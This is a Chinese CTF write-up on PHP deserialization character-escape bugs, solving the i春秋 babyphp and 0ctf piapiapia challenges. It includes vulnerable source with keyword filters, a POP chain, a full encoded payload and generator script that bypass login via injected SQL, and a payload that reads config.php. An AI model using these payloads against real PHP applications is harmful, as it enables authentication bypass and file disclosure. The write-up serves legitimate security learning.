php反序列化逃逸

php反序列化字符逃逸的

前言

最近做了道关于php反序列化字符逃逸的题目,感觉很有意思,这里记一下。

背景知识

PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的。
例如:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$a=[0=>'hihi',1=>'hi1'];
$s1=serialize($a);
echo $s1.PHP_EOL;
var_dump(unserialize($s1));
$s2='a:2:{i:0;s:4:"hihi";i:1;s:3:"hi";}';//hi1的长度改为2
echo $s2.PHP_EOL;
var_dump(unserialize($s2));
$s3='a:2:{i:0;s:4:"hihi";i:1;s:4:"wqer";}";i:1;s:3:"hi";}';//在hihi后面加上";i:1;s:4:"wqer";}
echo $s3.PHP_EOL;
var_dump(unserialize($s3));
?>

结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
a:2:{i:0;s:4:"hihi";i:1;s:3:"hi1";}
array(2) {
[0]=>
string(4) "hihi"
[1]=>
string(3) "hi1"
}
a:2:{i:0;s:4:"hihi";i:1;s:3:"hi";}
bool(false)
a:2:{i:0;s:4:"hihi";i:1;s:4:"wqer";}";i:1;s:3:"hi";}
array(2) {
[0]=>
string(4) "hihi"
[1]=>
string(4) "wqer"
}

很显然,如果我们能通过某种手段控制前一个字段的值,就可以通过加入反序列化字符串的方式,修改对象反序列化之后的结果。例如这里将第二个数组的值从hi1改为wqer。

在题目中这种情况通常是由某种不合适的字符串替换造成的,通常会将需要过滤的字符替换为更长的字符串。如果我们能控制输入,便可以通过这种方式控制反序列化后的结果。

题目

  1. babyphp 来源i春秋战疫

这是一道代码审计题,通过反序列化逃逸和构造pop达到登录绕过的效果。核心的代码在lib.php中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
<?php
//lib.php
//error_reporting(0);
//pop链思路 (Info)nickname 拼接sql:(User)__toString => (Info) nickname->update(age):(Info)__call=>(dbCtrl) login 写sql出结果
session_start();
function safe($parm)
{
$array = array('union', 'regexp', 'load', 'into', 'flag', 'file', 'insert', "'", '\\', "*", "alter");
return str_replace($array, 'hacker', $parm);
}
class User
{
public $id;
public $age = null;
public $nickname = null;
public function login()
{
if (isset($_POST['username']) && isset($_POST['password'])) {
$mysqli = new dbCtrl();
$this->id = $mysqli->login('select id,pwd from user where uname=?');
if ($this->id) {
$_SESSION['id'] = $this->id;
$_SESSION['login'] = 1;
echo "你的ID是" . $_SESSION['id'];
echo "你好!" . $_SESSION['token'];
echo "<script>window.location.href='./update.php'</script>";
return $this->id;
}
}
}
public function update()
{
$Info = unserialize($this->getNewinfo());
//var_dump($Info);
$age = $Info->age;
$nickname = $Info->nickname;
//echo '</br>';
//构造器匹配前两个值
$updateAction = new UpdateHelper($_SESSION['id'], $Info, "update user SET age=$age,nickname=$nickname where id=" . $_SESSION['id']);

//这个功能还没有写完 先占坑
}
public function getNewInfo()
{
$age = $_POST['age'];
$nickname = $_POST['nickname'];
$str = serialize(new Info($age, $nickname));
return safe($str);
}
public function __destruct()
{
return file_get_contents($this->nickname); //危
}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
class Info
{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age, $nickname)
{
$this->age = $age;
$this->nickname = $nickname;
}
public function __call($name, $argument)
{
echo $this->CtrlCase->login($argument[0]);
}
}
class UpdateHelper//没用的类
{
...
}
class dbCtrl
{
public $hostname = "127.0.0.1";
public $dbuser = "root";
public $dbpass = "root";
public $database = "test";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name = $_POST['username'];
$this->password = $_POST['password'];
$this->token = $_SESSION['token'];
}
public function login($sql)
{
$this->mysqli = new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}

$result = $this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token == 'admin') {
return $idResult;
}
if (!$idResult) {
echo ('用户不存在!');
return false;
}
if (md5($this->password) !== $passwordResult) {
echo ('密码错误!');
return false;
}
$_SESSION['token'] = $this->name;
return $idResult;
}
public function update($sql)
{
//还没来得及写
}
}

很明显,通过getNewInfo方法传入age和nickname的值,这里会进行一次过滤,将非法的关键词的值替换。这里显然有我们刚才说的问题。

1
2
$array = array('union', 'regexp', 'load', 'into', 'flag', 'file', 'insert', "'", '\\', "*", "alter");
return str_replace($array, 'hacker', $parm);

很显然hacker和*等字符长度不一致,如果能巧妙的构造输入,利用safe方法将*的替换为hacker,将我们构造的payload挤到后面去,从而构造反序列化漏洞。

这里有个点需要注意,构成payload的长度有限制,需要是是5的倍数(如果我们使用*来构造的话,*和hacker的长度差为5),*的个数和5的积就是payload允许的长度。

pop链的构造,(Info)nickname 拼接sql(update方法中,可以触发toString方法):(User)__toString => (Info) nickname->update(age):(Info)__call=>(dbCtrl) login 写sql出结果

dbCtrl的login方法中,如果session中的token是admin,那么直接返回id值。而在User的login方法中,只要存在id值,那么就算登录成功我们,只需要将session中的token值修改为admin,之后就可以使用任意密码登录admin,从而获取flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
//update.php
<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}
?>

//login.php
<?php
require_once('lib.php');
?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>login</title>
<center>
<form action="login.php" method="post" style="margin-top: 300">
<h2>百万前端的用户信息管理系统</h2>
<h3>半成品系统 留后门的程序员已经跑路</h3>
<input type="text" name="username" placeholder="UserName" required>
<br>
<input type="password" style="margin-top: 20" name="password" placeholder="password" required>
<br>
<button style="margin-top:20;" type="submit">登录</button>
<br>
<img src='img/1.jpg'>大家记得做好防护</img>
<br>
<br>
<?php
$user=new user();
if(isset($_POST['username'])){
if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['username'])){
die("<br>Damn you, hacker!");
}
if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['password'])){
die("Damn you, hacker!");
}
$user->login();
}
?>
</form>
</center>
?>

最后payload为

1
2

age='*'*87(87个*)+%22%3Bs%3A8%3A%22nickname%22%3BO%3A4%3A%22User%22%3A3%3A%7Bs%3A2%3A%22id%22%3BN%3Bs%3A3%3A%22age%22%3Bs%3A101%3A%22select+id%2C0x3230326362393632616335393037356239363462303731353264323334623730+from+user+where+uname%3D%3F%23%22%3Bs%3A8%3A%22nickname%22%3BO%3A4%3A%22Info%22%3A3%3A%7Bs%3A3%3A%22age%22%3BN%3Bs%3A8%3A%22nickname%22%3BN%3Bs%3A8%3A%22CtrlCase%22%3BO%3A6%3A%22dbCtrl%22%3A8%3A%7Bs%3A8%3A%22hostname%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A6%3A%22dbuser%22%3Bs%3A4%3A%22root%22%3Bs%3A6%3A%22dbpass%22%3Bs%3A4%3A%22root%22%3Bs%3A8%3A%22database%22%3Bs%3A4%3A%22test%22%3Bs%3A4%3A%22name%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3Bs%3A3%3A%22123%22%3Bs%3A6%3A%22mysqli%22%3BN%3Bs%3A5%3A%22token%22%3Bs%3A6%3A%22admin1%22%3B%7D%7D%7Ds%3A8%3A%22CtrlCase%22%3BN%3B%7D&nickname=123
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
//payload.php
<?php
class User
{
public $id;
public $age = null;
public $nickname = null;
public function __construct($id, $age, $nickname)
{
$this->id = $id;
$this->age = $age;
$this->nickname = $nickname;
}
}

class Info
{
public $age;
public $nickname;
public $CtrlCase;

public function __construct($age, $nickname, $CtrlCase)
{
$this->age = $age;
$this->nickname = $nickname;
$this->CtrlCase = $CtrlCase;
}
}

class dbCtrl
{
public $hostname = "127.0.0.1";
public $dbuser = "root";
public $dbpass = "root";
public $database = "test";
public $name;
public $password;
public $mysqli;
public $token;
}
//123
$sql = 'select id,0x3230326362393632616335393037356239363462303731353264323334623730 from user where uname=?#';



$ctrl = new dbCtrl();
$ctrl->token = 'admin1';
$ctrl->password = '123';
$ctrl->name = 'admin';
$Info1 = new Info(null, null, $ctrl);
$user = new User(null, $sql, $Info1);
$Info = new Info('123', $user, null);
echo urlencode(serialize($Info));
  1. 0ctf piapiapia

这道题就简单地说下主要也是更新profile时做了过滤导致反序列化逃逸。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87

过滤

//update.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');

if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');

move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>
<!DOCTYPE html>
<html>
<head>
<title>UPDATE</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;">
<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Please Update Your Profile</h3>
<label>Phone:</label>
<input type="text" name="phone" style="height:30px"class="span3"/>
<label>Email:</label>
<input type="text" name="email" style="height:30px"class="span3"/>
<label>Nickname:</label>
<input type="text" name="nickname" style="height:30px" class="span3">
<label for="file">Photo:</label>
<input type="file" name="photo" style="height:30px"class="span3"/>
<button type="submit" class="btn btn-primary">UPDATE</button>
</form>
</div>
</body>
</html>
<?php
}
?>


//class.php
···
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);

$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
···
//(where to hacker 1 escapse)
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}

这题在绕过nickname的长度限制时有个技巧,preg_match和strlen函数如果传入的值不是字符串就会报错返回false,可以利用数组来绕过长度限制。

1
2
3
4
payload
phone=15333333333
&email=w@g.com
nickname=where*34(34个where)";}s:5:"photo";s:10:"config.php";}

最后读取config.php的值,可以获得flag。

总结

算是搞明白一个点了,很开心。